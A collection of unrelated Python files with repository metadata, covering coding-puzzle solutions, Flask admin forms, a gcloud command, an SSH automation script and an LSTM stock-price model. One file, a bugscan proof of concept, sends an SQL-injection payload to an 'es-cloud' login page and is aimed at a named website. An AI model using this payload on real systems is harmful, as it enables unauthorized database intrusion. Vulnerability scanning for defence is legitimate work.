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import sys from io import StringIO import unittest import logging logging.basicConfig(level=logging.DEBUG) def resolve(): n, k = map(int, input().split()) dat = list(map(int, input().split())) dat2 = [] m = -1 #print(dat[:k]) n = sum(dat[:k]) dat2.append(n) m = n mind = 0 for i in range(1, len(dat) - k ): #print("in/out") #print(dat[k+i]) #print(dat[i]) n += dat[k+i] n -= dat[i] dat2.append(n) if n > m: m = n mind = i + 1 #print(dat2) #print(m) #print(mind) r = 0 for i in range(mind, mind + k): r += (dat[i] + 1) / 2 print(r) class TestClass(unittest.TestCase): def assertIO(self, input, output): stdout, stdin = sys.stdout, sys.stdin sys.stdout, sys.stdin = StringIO(), StringIO(input) resolve() sys.stdout.seek(0) out = sys.stdout.read()[:-1] sys.stdout, sys.stdin = stdout, stdin self.assertEqual(out, output) def test_input_1(self): print("test_input_1") input = """5 3 1 2 2 4 5""" output = """7.000000000000""" self.assertIO(input, output) def test_input_2(self): print("test_input_2") input = """4 1 6 6 6 6""" output = """3.500000000000""" self.assertIO(input, output) def test_input_3(self): print("test_input_3") input = """10 4 17 13 13 12 15 20 10 13 17 11""" output = """32.000000000000""" self.assertIO(input, output) if __name__ == "__main__": unittest.main()

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from types import ModuleType from typing import Union, Dict Buffer = Union[bytes, bytearray, memoryview] __all__ = ['OpenPgpMode'] class OpenPgpMode(object): block_size: int iv: Union[bytes, bytearray, memoryview] IV: Union[bytes, bytearray, memoryview] def __init__(self, factory: ModuleType, key: Buffer, iv: Buffer, cipher_params: Dict) -> None: ... def encrypt(self, plaintext: Buffer) -> bytes: ... def decrypt(self, plaintext: Buffer) -> bytes: ...

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# Stubs for django.contrib.sites.managers (Python 3.6) # # NOTE: This dynamically typed stub was automatically generated by stubgen. from typing import Any, Optional from django.db import models class CurrentSiteManager(models.Manager): use_in_migrations = ... # type: bool def __init__(self, field_name: Optional[Any] = ...) -> None: ... def check(self, **kwargs): ... def get_queryset(self): ...

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# coding:utf8 from flask_wtf import FlaskForm from wtforms import StringField, PasswordField, SubmitField, FileField, TextAreaField, SelectField, SelectMultipleField from wtforms.validators import DataRequired, ValidationError, EqualTo from app.models import Admin, Tag, Auth, Role tags = Tag.query.all() auth_list = Auth.query.all() role_list = Role.query.all() class LoginForm(FlaskForm): "管理员登录表单" account = StringField( label="账号", validators=[ DataRequired("请输入账号") ], description="账号", render_kw={ "class": "form-control", "placeholder": "请输入账号!", # "required": "required" }, ) pwd = PasswordField( label="密码", validators=[ DataRequired("请输入密码") ], description="密码", render_kw={ "class": "form-control", "placeholder": "请输入密码", # "required": "required" }, ) submit = SubmitField( label="登录", render_kw={ "class": "btn btn-primary btn-block btn-flat", } ) def validate_account(self, field): account = field.data admin = Admin.query.filter_by(name=account).count() if admin == 0: raise ValidationError("账号不存在!") class TagForm(FlaskForm): name = StringField( label="名称", validators=[ DataRequired("请输入标签") ], description="标签", render_kw={ "class": "form-control", "id": 'input_name', "placeholder": "请输入标签名称!" }, ) submit = SubmitField( "编辑", render_kw={ "class": "btn btn-primary", } ) class MovieForm(FlaskForm): title = StringField( label="片名", validators=[ DataRequired("请输入片名！") ], description="片名", render_kw={ "class": "form-control", "placeholder": "请输入片名!" }, ) url = FileField( label="文件", validators=[ DataRequired("请上传文件！") ], description="文件", ) info = TextAreaField( label="简介", validators=[ DataRequired("请输入简介！") ], description="简介", render_kw={ "class": "form-control", "row": 10 }, ) logo = FileField( label="封面", validators=[ DataRequired("请上传封面！") ], description="封面", ) star = SelectField( label="星级", validators=[ DataRequired("请选择星级！") ], # star的数据类型 coerce=int, choices=[(1, "1星"), (2, "2星"), (3, "3星"), (4, "4星"), (5, "5星")], description="星级", render_kw={ "class": "form-control", } ) tag_id = SelectField( label="标签", validators=[ DataRequired("请选择标签！") ], coerce=int, choices=[(v.id, v.name) for v in tags], description="标签", render_kw={ "class": "form-control", }, ) area = StringField( label="地区", validators=[ DataRequired("请输入地区！") ], description="地区", render_kw={ "class": "form-control", "placeholder": "请输入地区!" }, ) length = StringField( label="片长", validators=[ DataRequired("请输入片长！") ], description="片长", render_kw={ "class": "form-control", "placeholder": "请输入片长!" }, ) release_time = StringField( label="上映时间", validators=[ DataRequired("请选择上映时间！") ], description="上映时间", render_kw={ "class": "form-control", "placeholder": "请选择上映时间!", "id": "input_release_time" }, ) submit = SubmitField( "编辑", render_kw={ "class": "btn btn-primary", } ) class PreviewForm(FlaskForm): title = StringField( label="预告标题", validators=[ DataRequired("请输入预告标题！") ], description="预告标题", render_kw={ "class": "form-control", "placeholder": "请输入预告标题!" }, ) logo = FileField( label="预告封面", validators=[ DataRequired("请上传预告封面！") ], description="预告封面", ) submit = SubmitField( "编辑", render_kw={ "class": "btn btn-primary", } ) class PwdForm(FlaskForm): old_pwd = PasswordField( label="旧密码", validators=[ DataRequired("请输入旧密码！") ], description="旧密码", render_kw={ "class": "form-control", "palceholder": "请输入旧密码！", } ) new_pwd = PasswordField( label="新密码", validators=[ DataRequired("请输入新密码！") ], description="新密码", render_kw={ "class": "form-control", "palceholder": "请输入新密码！", } ) submit = SubmitField( "编辑", render_kw={ "class": "btn btn-primary", } ) def validate_old_pwd(self, field): from flask import session pwd = field.data name = session["admin"] admin = Admin.query.filter_by( name=name ).first() if not admin.check_pwd(pwd): raise ValidationError("旧密码错误!") class AuthForm(FlaskForm): name = StringField( label="权限名称", validators=[ DataRequired("请输入权限名称！") ], description="权限名称", render_kw={ "class": "form-control", "placeholder": "请输入权限名称!" }, ) url = StringField( label="权限地址", validators=[ DataRequired("请输入权限地址！") ], description="权限地址", render_kw={ "class": "form-control", "placeholder": "请输入权限地址!" }, ) submit = SubmitField( "编辑", render_kw={ "class": "btn btn-primary", } ) class RoleForm(FlaskForm): name = StringField( label="角色名称", validators=[ DataRequired("请输入角色名称！") ], description="角色名称", render_kw={ "class": "form-control", "placeholder": "请输入角色名称!" }, ) auths = SelectMultipleField( label="权限列表", validators=[ DataRequired("请选择权限列表!") ], coerce=int, choices=[(v.id, v.name) for v in auth_list], description="权限列表", render_kw={ "class": "form-control", } ) submit = SubmitField( "编辑", render_kw={ "class": "btn btn-primary", } ) class AdminForm(FlaskForm): name = StringField( label="管理员名称", validators=[ DataRequired("请输入管理员名称!") ], description="管理员名称", render_kw={ "class": "form-control", "placeholder": "请输入管理员名称!", }, ) pwd = PasswordField( label="管理员密码", validators=[ DataRequired("请输入管理员密码!") ], description="管理员密码", render_kw={ "class": "form-control", "placeholder": "请输入管理员密码!", }, ) repwd = PasswordField( label="管理员重复密码", validators=[ DataRequired("请输入管理员重复密码"), EqualTo('pwd', message="两次密码不一致!") ], description="管理员重复密码", render_kw={ "class": "form-control", "placeholder": "请输入管理员重复密码", }, ) role_id = SelectField( label="所属角色", coerce=int, choices=[(v.id, v.name) for v in role_list], render_kw={ "class": "form-control", } ) submit = SubmitField( label="编辑", render_kw={ "class": "btn btn-primary", } )

[ "chenxic1011@gmail.com" ]

chenxic1011@gmail.com

01dd184374b0b82db5104e26148e92a0b14e6031

d83fde3c891f44014f5339572dc72ebf62c38663

/_bin/google-cloud-sdk/lib/surface/compute/interconnects/attachments/create.py

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[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0" ]

permissive

gyaresu/dotfiles

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2022-11-24T01:12:49.435037

2022-11-01T16:58:13

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2020-07-25T14:11:43

2014-02-24T14:59:59

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py

# Copyright 2017 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Command for creating interconnects.""" from __future__ import absolute_import from __future__ import unicode_literals from googlecloudsdk.api_lib.compute import base_classes from googlecloudsdk.api_lib.compute.interconnects.attachments import client from googlecloudsdk.calliope import base from googlecloudsdk.calliope import parser_errors from googlecloudsdk.command_lib.compute import flags as compute_flags from googlecloudsdk.command_lib.compute.interconnects import flags as interconnect_flags from googlecloudsdk.command_lib.compute.interconnects.attachments import flags as attachment_flags from googlecloudsdk.command_lib.compute.routers import flags as router_flags _DEPRECATION_WARNING = """\ `create` is deprecated. Please use `gcloud compute interconnects attachments dedicated create` instead. """ _DEPRECATION_ERROR = """\ `create` has been removed. Please use `gcloud compute interconnects attachments dedicated create` instead. """ # TODO(b/79153388): Clean up this command flag after 3 months of deprecation. @base.Deprecate( is_removed=False, warning=_DEPRECATION_WARNING, error=_DEPRECATION_ERROR) class Create(base.CreateCommand): """Create a Google Compute Engine interconnect attachment. *{command}* is used to create interconnect attachments. An interconnect attachment is what binds the underlying connectivity of an Interconnect to a path into and out of the customer's cloud network. """ INTERCONNECT_ATTACHMENT_ARG = None INTERCONNECT_ARG = None ROUTER_ARG = None @classmethod def Args(cls, parser): cls.INTERCONNECT_ARG = ( interconnect_flags.InterconnectArgumentForOtherResource( 'The interconnect for the interconnect attachment')) cls.INTERCONNECT_ARG.AddArgument(parser) cls.ROUTER_ARG = router_flags.RouterArgumentForOtherResources() cls.ROUTER_ARG.AddArgument(parser) cls.INTERCONNECT_ATTACHMENT_ARG = ( attachment_flags.InterconnectAttachmentArgument()) cls.INTERCONNECT_ATTACHMENT_ARG.AddArgument(parser, operation_type='create') parser.add_argument( '--description', help='An optional, textual description for the ' 'interconnect attachment.') parser.display_info.AddCacheUpdater( interconnect_flags.InterconnectsCompleter) def Run(self, args): holder = base_classes.ComputeApiHolder(self.ReleaseTrack()) attachment_ref = self.INTERCONNECT_ATTACHMENT_ARG.ResolveAsResource( args, holder.resources, scope_lister=compute_flags.GetDefaultScopeLister(holder.client)) interconnect_attachment = client.InterconnectAttachment( attachment_ref, compute_client=holder.client) interconnect_ref = None if args.interconnect is not None: interconnect_ref = self.INTERCONNECT_ARG.ResolveAsResource( args, holder.resources) if args.router_region is None: args.router_region = attachment_ref.region if args.router_region != attachment_ref.region: raise parser_errors.ArgumentException( 'router-region must be same as the attachment region.') router_ref = None if args.router is not None: router_ref = self.ROUTER_ARG.ResolveAsResource(args, holder.resources) return interconnect_attachment.Create( description=args.description, interconnect=interconnect_ref, router=router_ref)

[ "me@gareth.codes" ]

me@gareth.codes

c901c352d59c3fdf81e492c184b2a45cfa2bb28d

43ff15a7989576712d0e51f0ed32e3a4510273c0

/tools/pocs/bugscan/exp_1284.py

1429903641e7e8e932e605922ac8a2efe0393840

[]

no_license

v1cker/kekescan

f2b51d91a9d6496e2cdc767eb6a600171f513449

3daa1775648439ba9e0003a376f90b601820290e

refs/heads/master

2020-09-19T16:26:56.522453

2017-06-15T02:55:24

94,495,007

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# -*- coding: utf-8 -*- from dummy import * from miniCurl import Curl curl = Curl() #!/usr/bin/env python # -*- coding: utf-8 -*- #author:小光 #refer:http://www.wooyun.org/bugs/wooyun-2010-0107850 def assign(service, arg): if service == "es-cloud": return True, arg def audit(arg): payloads = ['Easy/Login.aspx','Easy/Login2.aspx'] postdata = { payloads[0] : '__VIEWSTATE=/wEPDwUKMTMyNjA3OTI4OGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFC2xvZ2luc3VibWl0&txtHostName=%27%20and%20db_name%281%29%3E1--&txtUserName=&txtUserPwd=&loginsubmit.x=41&loginsubmit.y=25', payloads[1] :'__VIEWSTATE=/wEPDwULLTEzNDYxNTQ5ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQtsb2dpbnN1Ym1pdA==&txtHostName1=&txtUserName1=&txtUserPwd1=&txtHostName=%27%20and%20db_name%281%29%3E1--&txtUserName=&txtUserPwd=&loginsubmit.x=108&loginsubmit.y=26' } for payload in payloads: url = arg + payload code, head, res, errcode1, _ = curl.curl2(url,postdata[payload]) if code == 500 and 'master' in res : security_hole(arg+payload) if __name__ == '__main__': from dummy import * audit(assign('es-cloud','http://leaders56.com/')[1])

[ "liyueke@huobi.com" ]

liyueke@huobi.com

9eb74cca9dec2cbb7c5746ec54fe8569c56b695c

fdafd2ef8a26a3e9ee6a4016ec6272516d64168f

/zeta_python/2504.py

72047ecde7f6205654a68ab7ecb7680a2175d6b7

[]

no_license

yenru0/CodeObjecct

322d669d9e70b7202e5e527cda27da0b1e8f273d

b9d5260b973d7435c089c49bc8867be5d2be4d85

refs/heads/master

2021-06-28T06:13:57.978205

2021-03-13T00:47:53

221,762,665

1

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null

UTF-8

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""" 2504: 괄호의 값 문제: 4개의 기호 ‘(’, ‘)’, ‘[’, ‘]’를 이용해서 만들어지는 괄호열 중에서 올바른 괄호열이란 다음과 같이 정의된다. 1. 한 쌍의 괄호로만 이루어진 ‘()’와 ‘[]’는 올바른 괄호열이다. 2. 만일 X가 올바른 괄호열이면 ‘(X)’이나 ‘[X]’도 모두 올바른 괄호열이 된다. 3. X와 Y 모두 올바른 괄호열이라면 이들을 결합한 XY도 올바른 괄호열이 된다. 예를 들어 ‘(()[[]])’나 ‘(())[][]’ 는 올바른 괄호열이지만 ‘([)]’ 나 ‘(()()[]’ 은 모두 올바른 괄호열이 아니다. 우리는 어떤 올바른 괄호열 X에 대하여 그 괄호열의 값(괄호값)을 아래와 같이 정의하고 값(X)로 표시한다. 1. ‘()’ 인 괄호열의 값은 2이다. 2. ‘[]’ 인 괄호열의 값은 3이다. 3. ‘(X)’ 의 괄호값은 2×값(X) 으로 계산된다. 4. ‘[X]’ 의 괄호값은 3×값(X) 으로 계산된다. 5. 올바른 괄호열 X와 Y가 결합된 XY의 괄호값은 값(XY)= 값(X)+값(Y) 로 계산된다. 예를 들어 ‘(()[[]])([])’ 의 괄호값을 구해보자. ‘()[[]]’ 의 괄호값이 2 + 3×3=11 이므로 ‘(()[[ ]])’의 괄호값은 2×11=22 이다. 그리고 ‘([])’의 값은 2×3=6 이므로 전체 괄호열의 값은 22 + 6 = 28 이다. 여러분이 풀어야 할 문제는 주어진 괄호열을 읽고 그 괄호값을 앞에서 정의한대로 계산하여 출력하는 것이다. 입력: 첫째 줄에 괄호열을 나타내는 문자열(스트링)이 주어진다. 단 그 길이는 1 이상, 30 이하이다. 출력: 첫째 줄에 그 괄호열의 값을 나타내는 정수를 출력한다. 만일 입력이 올바르지 못한 괄호열이면 반드시 0을 출력해야 한다. """ """ TC1: Input: (()[[]])([]) Output: 28 """ import re Input = input() par_regex = re.compile(r'$(.*?)$') t = par_regex.search(Input) print(t.groups())

[ "yenru0604@gmail.com" ]

yenru0604@gmail.com

8ddfbddd68a31c3d35868308a43e364033aab43e

26f6313772161851b3b28b32a4f8d255499b3974

/Python/PathCrossing.py

c22cf8f8b0dbf1ea31c2839c19c406d996aa76b8

[]

no_license

here0009/LeetCode

693e634a3096d929e5c842c5c5b989fa388e0fcd

f96a2273c6831a8035e1adacfa452f73c599ae16

refs/heads/master

2023-06-30T19:07:23.645941

2021-07-31T03:38:51

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""" Given a string path, where path[i] = 'N', 'S', 'E' or 'W', each representing moving one unit north, south, east, or west, respectively. You start at the origin (0, 0) on a 2D plane and walk on the path specified by path. Return True if the path crosses itself at any point, that is, if at any time you are on a location you've previously visited. Return False otherwise. Example 1: Input: path = "NES" Output: false Explanation: Notice that the path doesn't cross any point more than once. Example 2: Input: path = "NESWW" Output: true Explanation: Notice that the path visits the origin twice. Constraints: 1 <= path.length <= 10^4 path will only consist of characters in {'N', 'S', 'E', 'W} """ class Solution: def isPathCrossing(self, path: str) -> bool: direction_dict = {'N':(0,1), 'S':(0,-1), 'E':(1,0), 'W':(-1,0)} visited = set() pos = [0, 0] visited.add(tuple(pos)) for d in path: di,dj = direction_dict[d] pos[0], pos[1] = pos[0] + di, pos[1] + dj t_pos = tuple(pos) if t_pos in visited: return True visited.add(t_pos) return False S = Solution() path = "NES" print(S.isPathCrossing(path)) path = "NESWW" print(S.isPathCrossing(path))

[ "here0009@163.com" ]

here0009@163.com

58311bff281c8ef4d985364018cccc1599e69c6b

fb2325de1317bed91edb428b5a5a3dad518fa8f2

/python-scripts/tqdm_examples/3_tqdm_two_progress_bars.py

3bb9c5f6faea3fd6c5990f581c06c8b6ea2aa9d5

[]

no_license

gridl/python-ansible-experiments

3b22d32db97bc55fd728ad513eb4176c3aae3482

d7595804aa9c58f2efc92a5bf8d57faccc61cac6

refs/heads/master

2020-07-02T07:00:52.876940

2019-08-01T16:00:25

null

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null

UTF-8

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from concurrent.futures import ThreadPoolExecutor, as_completed from pprint import pprint import yaml import tqdm from netmiko import ConnectHandler def conn_ssh_threads(function, devices, command, limit=3, progress_bar=True): result_dict = {} with ThreadPoolExecutor(max_workers=limit) as executor: future_ssh = [executor.submit(function, device, command) for device in devices] done_tasks = as_completed(future_ssh) if progress_bar: success_bar = tqdm.tqdm(total=len(devices), desc='Correct'.rjust(10)) done_tasks = tqdm.tqdm(done_tasks, total=len(devices), desc='All'.rjust(10)) for task in done_tasks: task_ok, result = task.result() if task_ok: success_bar.update(1) result_dict.update(result) success_bar.close() return result_dict def send_show_command(device, show_command): result = {} with ConnectHandler(**device) as ssh: ssh.enable() result[device['ip']] = ssh.send_command(show_command) if device['ip'] == '192.168.100.1': return False, result else: return True, result if __name__ == '__main__': with open('devices.yaml') as f: devices = yaml.load(f) results = conn_ssh_threads(send_show_command, devices, 'sh ip int br') print()

[ "nataliya.samoylenko@gmail.com" ]

nataliya.samoylenko@gmail.com

5ef6d164bee4bc70549b4ddbf316067cfc70872f

5de328dace679cd32b2d32725832b8f75b2dbc11

/utils/plot_modularity_statistics.py

8b58be30e8bd1bf7c81b7b2e4952dfcb15b37afc

[]

no_license

hag007/emp_evaluation

94230b4bdb296d27237fa3de4d0b9e83ea3ee897

52ac70f4593a97bd4a62174d5e58cc5c84ee2820

refs/heads/master

2021-06-13T21:28:41.609495

2020-09-10T09:27:23

254,448,762

0

null

UTF-8

Python

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py

import sys sys.path.insert(0, "../") import numpy as np import matplotlib.pyplot as plt import os import constants with open(os.path.join(constants.OUTPUT_GLOBAL_DIR, "modularity_statistics.txt")) as f: n_modules = [int(a) for a in f.readline().strip()[1:-1].split(', ')] n_large_modules = [int(a) for a in f.readline().strip()[1:-1].split(', ')] modularity_scores = [float(a) for a in f.readline().strip()[1:-1].split(', ')] prev=0 for i, cur_score in enumerate(modularity_scores): if cur_score<prev: stop=i plt.subplots(figsize=(20,17)) plt.cla() plt.plot(np.arange(len(n_modules)), n_modules, label="n_modules") plt.plot(np.arange(len(n_large_modules)), n_large_modules, label="n_large_modules") plt.plot(np.arange(len(modularity_scores)), [a for a in modularity_scores], label="modularity_scores") for i, a in enumerate(modularity_scores): plt.annotate("{}/{}".format(n_large_modules[i], n_modules[i]), (i,a)) plt.xlabel("iteration") plt.ylabel("modularity score") plt.title("Newman-Girvan modularity curve\nin DIP network") plt.legend() plt.savefig(os.path.join(constants.OUTPUT_GLOBAL_DIR, "modularity_statistics.png"))

[ "hagai.levi.007@gmail.com" ]

hagai.levi.007@gmail.com

97ebd726684ddf767f28ab2bfd0e5e12f98afaa4

037e55864b1d7db7db05f23261d3a008df8878b1

/rebench/tests/features/issue_32_jmh_support_test.py

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[ "MIT" ]

permissive

mmtk/ReBench

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709e6f0a1be6fd7bf4b4d13d057f040254a3991b

refs/heads/master

2022-12-18T23:58:11.944800

2020-08-11T12:39:31

292,157,028

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MIT

2020-09-02T02:21:17

2020-09-02T02:21:16

null

UTF-8

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# Copyright (c) 2009-2014 Stefan Marr <http://www.stefan-marr.de/> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the Software without restriction, including without limitation the # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or # sell copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS # IN THE SOFTWARE. from os.path import dirname, realpath from unittest import TestCase from ...interop.jmh_adapter import JMHAdapter class Issue32JMHSupport(TestCase): """ Add support for JMH, a Java benchmarking harness. """ def setUp(self): self._path = dirname(realpath(__file__)) with open(self._path + "/issue_32_jmh.data") as data_file: self._data = data_file.read() def test_parsing(self): adapter = JMHAdapter(False) data_points = adapter.parse_data(self._data, None, 1) self.assertEqual(4 * 20, len(data_points)) for i in range(0, 60): self.assertAlmostEqual(830000, data_points[i].get_total_value(), delta=60000) for i in range(60, 80): self.assertAlmostEqual(86510, data_points[i].get_total_value(), delta=4000)

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a = [10, 20, 30, 40, 50] #for i in a: # print i, length = len(a) iterator = iter(a) while length: i = iterator.next() # Body of for loop print i, length -= 1 # ----------------------------- iterator = iter(a) try: while True: i = iterator.next() # Body of 'for' loop print i, except StopIteration: pass

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ujjsingh@cisco.com

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"""Model predicts next day's stock price for Polymetall metal company based on the close price for previous periods. Univariate LSTM model. Data source: https://www.finam.ru/profile/moex-akcii/polymetal-international-plc/export/ """ import pandas as pd import numpy as np import datetime from sklearn.preprocessing import MinMaxScaler import tensorflow as tf import matplotlib.pyplot as plt from pandas.plotting import register_matplotlib_converters register_matplotlib_converters() # Plots display settings plt.rcParams['figure.figsize'] = 12, 8 plt.rcParams.update({'font.size': 14}) FILE_PATH = 'POLY_stock_price.csv' # Tensorflow settings EPOCHS = 1000 PATIENCE = 5 BATCH_SIZE = 64 LOOKBACK = 3 SAMPLING_RATE = 1 STRIDE = 1 # --------------------------- Functions ----------------------------- def get_data(path: str) -> pd.DataFrame: """Function loads stock prices from a local file. :param path: Path to a csv file :return: DataFrame with close price column and datetime index """ parser = lambda x: datetime.datetime.strptime(x, '%Y%m%d') df = pd.read_csv(path, usecols=['<CLOSE>', '<DATE>'], index_col='<DATE>', date_parser=parser) display_data(df) return df def display_data(df: pd.DataFrame): """Function displays a chart with historical prices. :param df: 1-column DataFrame with prices and datetime index """ plt.plot(df) plt.title('Stock Price') plt.ylabel('Rubles') plt.savefig('prices.png') plt.show() def plot_history(hist): """Function plots a chart with training and validation metrics. :param hist: Tensorflow history object from model.fit() """ # Losses mae = hist.history['loss'] val_mae = hist.history['val_loss'] # Epochs to plot along x axis x_axis = range(1, len(mae) + 1) plt.plot(x_axis, mae, 'bo', label='Training') plt.plot(x_axis, val_mae, 'ro', label='Validation') plt.title('Mean Squared Error') plt.ylabel('Loss (MSE)') plt.xlabel('Epochs') plt.legend() plt.tight_layout() plt.savefig('uni_training.png') plt.show() # ------------------------ Data processing -------------------------- # Historical data data = get_data(FILE_PATH) # Scale numeric data to the range between 0 and 1 scaler = MinMaxScaler() data_scaled = scaler.fit_transform(np.array(data).reshape(-1, 1)) # Create iterables containing stock prices and corresponding next day's prices input_features = data_scaled[:-1, :] targets = data_scaled[1:, :] # Leave latest periods for test and validation purposes train_data = input_features[:-120] val_data = input_features[-120:-50] test_data = input_features[-50:] train_targets = targets[:-120] val_targets = targets[-120:-50] test_targets = targets[-50:] print(f'Dataset shape: {data.shape}') print(f'Train data: {train_data.shape}') print(f'Validation data: {val_data.shape}') print(f'Test data: {test_data.shape}') # Create tensorflow dataset objects train_ds = tf.keras.preprocessing.sequence.TimeseriesGenerator( train_data, train_targets, length=LOOKBACK, sampling_rate=SAMPLING_RATE, stride=STRIDE, shuffle=True, batch_size=BATCH_SIZE ) val_ds = tf.keras.preprocessing.sequence.TimeseriesGenerator( val_data, val_targets, length=LOOKBACK, sampling_rate=SAMPLING_RATE, stride=STRIDE, shuffle=False, batch_size=BATCH_SIZE ) test_ds = tf.keras.preprocessing.sequence.TimeseriesGenerator( test_data, test_targets, length=LOOKBACK, sampling_rate=SAMPLING_RATE, stride=STRIDE, shuffle=False, batch_size=BATCH_SIZE ) # -------------------------------- Model ----------------------------------- # Neural network with Long Short-Term Memory layers model = tf.keras.models.Sequential( [ tf.keras.layers.LSTM(4, recurrent_dropout=0.15, return_sequences=True, input_shape=(LOOKBACK, 1)), tf.keras.layers.LSTM(4, recurrent_dropout=0.15, return_sequences=False), tf.keras.layers.Dense(1) ] ) model.compile(optimizer='adam', loss='mse', metrics=[tf.keras.metrics.MeanAbsolutePercentageError()]) model.summary() # Train the model until validation accuracy stops improving early_stop = tf.keras.callbacks.EarlyStopping( monitor='val_loss', patience=PATIENCE, restore_best_weights=True ) history = model.fit(train_ds, epochs=EPOCHS, verbose=2, validation_data=val_ds, callbacks=[early_stop]) plot_history(history) # Evaluate the model on the test set test_loss, test_mape = model.evaluate(test_ds) print(f'MSE loss on test data: {test_loss}\nMAPE: {test_mape}') # Forecasts for validation and test periods pred_val = model.predict(val_ds) pred_val = scaler.inverse_transform(pred_val) pred_test = model.predict(test_ds) pred_test = scaler.inverse_transform(pred_test) # Visualize forecast vs. actual prices plt.plot(data[-150:], label='Actual data') plt.plot(data[-120+LOOKBACK-1:-50-1].index, pred_val.ravel(), label='Validation forecast') plt.plot(data[-50+LOOKBACK-1:-1].index, pred_test.ravel(), label='Test forecast') plt.ylabel('Rubles') plt.title('Stock Price') plt.legend() plt.savefig('uni_forecast.png') plt.show()

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# val(A,S) = sum( abs( [ A[i]*S[i] for i in range(N)] )) # A = [1,5,2,-2] # # S = {-1,1-1,1} # S = [-1,1,-1,1] # N = len(A) # for i in range(N): # print(A[i]*S[i]) # (Assume that the sum of zero elements equals zero.) def solution(A): A = [ abs(i) for i in A ] N = len(A) dp = [ [float("inf")]*(N+1) for _ in range(2)] dp[0][0], dp[1][0] = 0, 0 # i = 0 (-1), 1(1) # dp[i][j] for i in range(1, N+1): dp[0][i] = min( abs( (A[i-1] * -1) + dp[0][i-1] ), abs( (A[i-1] * -1) + dp[1][i-1] ) ) dp[1][i] = min( abs( A[i-1] + dp[0][i-1] ), abs( A[i-1] + dp[1][i-1] ) ) # for i in range(1, N+1): # if abs((A[i-1] * -1) + dp[0][i-1]) > abs((A[i-1] * -1) + dp[1][i-1]): # dp[0][i] = (A[i-1] * -1) + dp[1][i-1] # else: # dp[0][i] = (A[i-1] * -1) + dp[0][i-1] # if abs(A[i-1] + dp[0][i-1]) > abs(A[i-1] + dp[1][i-1] ): # dp[1][i] = A[i-1] + dp[1][i-1] # else: # dp[1][i] = A[i-1] + dp[0][i-1] print(dp) return min(abs(dp[0][-1]), abs(dp[1][-1])) def solution(A): N = len(A) M = 0 for i in range(N): A[i] = abs(A[i]) M = max(A[i], M) S = sum(A) count = [0] * (M+1) for i in range(N): count[A[i]] += 1 dp = [-1] * (S+1) dp[0] = 0 for a in range(1, M+1): if count[a] > 0: for j in range(S): if dp[j] >= 0: dp[j] = count[a] elif j >= a and dp[j-1] > 0: dp[j] = dp[j-a] - 1 print(dp) result = S for i in range(S//2+1): if dp[i] >= 0: result = min(result, S-2*i) return result print(solution([1,5,2,-2])) print(solution([1,5,2,-3]))

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# flake8: noqa from .body import BodySerializer from .office import OfficeSerializer from .jurisdiction import JurisdictionSerializer from .party import PartySerializer

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# Generated by Django 2.1.7 on 2019-03-06 14:09 from django.db import migrations import tinymce.models class Migration(migrations.Migration): dependencies = [ ('main', '0003_auto_20190306_1403'), ] operations = [ migrations.RemoveField( model_name='digest', name='value', ), migrations.AddField( model_name='digest', name='content', field=tinymce.models.HTMLField(default=''), preserve_default=False, ), ]

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class TreeNode: def __init__(self, val=0, left=None, right=None): self.val = val self.left = left self.right = right class Solution: def maximumAverageSubtree(self, root): if not root: return 0 def find_avg(node): if not node: return [0, 0, 0] #count,sum, avg left_count,left_sum,left_avg = find_avg(node.left) right_count,right_sum,right_avg = find_avg(node.right) count = 1 + left_count + right_count sum_node = node.val + left_sum + right_sum avg = sum_node / count max_avg = max(avg, left_avg, right_avg) return [count, sum_node, max_avg] return find_avg(root)[2]

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{ 'name': 'Contact Form', 'category': 'Website', 'sequence': 54, 'website': 'https://www.gerp.com/page/website-builder', 'summary': 'Create Leads From Contact Form', 'version': '2.0', 'description': "", 'depends': ['website_form', 'website_partner', 'crm'], 'data': [ 'data/website_crm_data.xml', 'views/website_crm_templates.xml', 'views/res_config_settings_views.xml', ], 'qweb': ['static/src/xml/*.xml'], 'installable': True, 'auto_install': True, }

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from rest_framework import generics, permissions, renderers, viewsets, authentication from rest_framework.views import APIView from rest_framework.parsers import MultiPartParser, FormParser from rest_framework.decorators import api_view, action from rest_framework.response import Response from rest_framework.reverse import reverse from rest_framework_jwt.settings import api_settings from engine.multimedia.models import MultimediaUser as MulUserModel, MultimediaCategory as MulCatModel,\ MultimediaSubategory as MulSubCModel, MultimediaPost as MulPostModel from .serializers import MulUserSerializer, MulCatSerializer,\ MulSubCSerializer, MulPostSerializer from engine.utils import get_request_token, get_user_token jwt_payload_handler = api_settings.JWT_PAYLOAD_HANDLER jwt_encode_handler = api_settings.JWT_ENCODE_HANDLER @api_view(['GET']) def api_root(request, format=None): return Response({ 'multimedia': reverse('multimedia-list', request=request, format=format), }) class MultimediaHandler(APIView): #authentication_classes = (authentication.JSONWebTokenAuthentication,) permission_classes = (permissions.IsAuthenticated,) #permission_classes = (permissions.IsAdminUser,) def post(self, request, format=None): print("request.FILES") print(request.FILES) request.FILES #serializer = UserAvatarSerializer(files=request.FILES) #print("serializer") #print(serializer) if serializer.is_valid(): print("funca") serializer.save() return Response(serializer.data) """ class 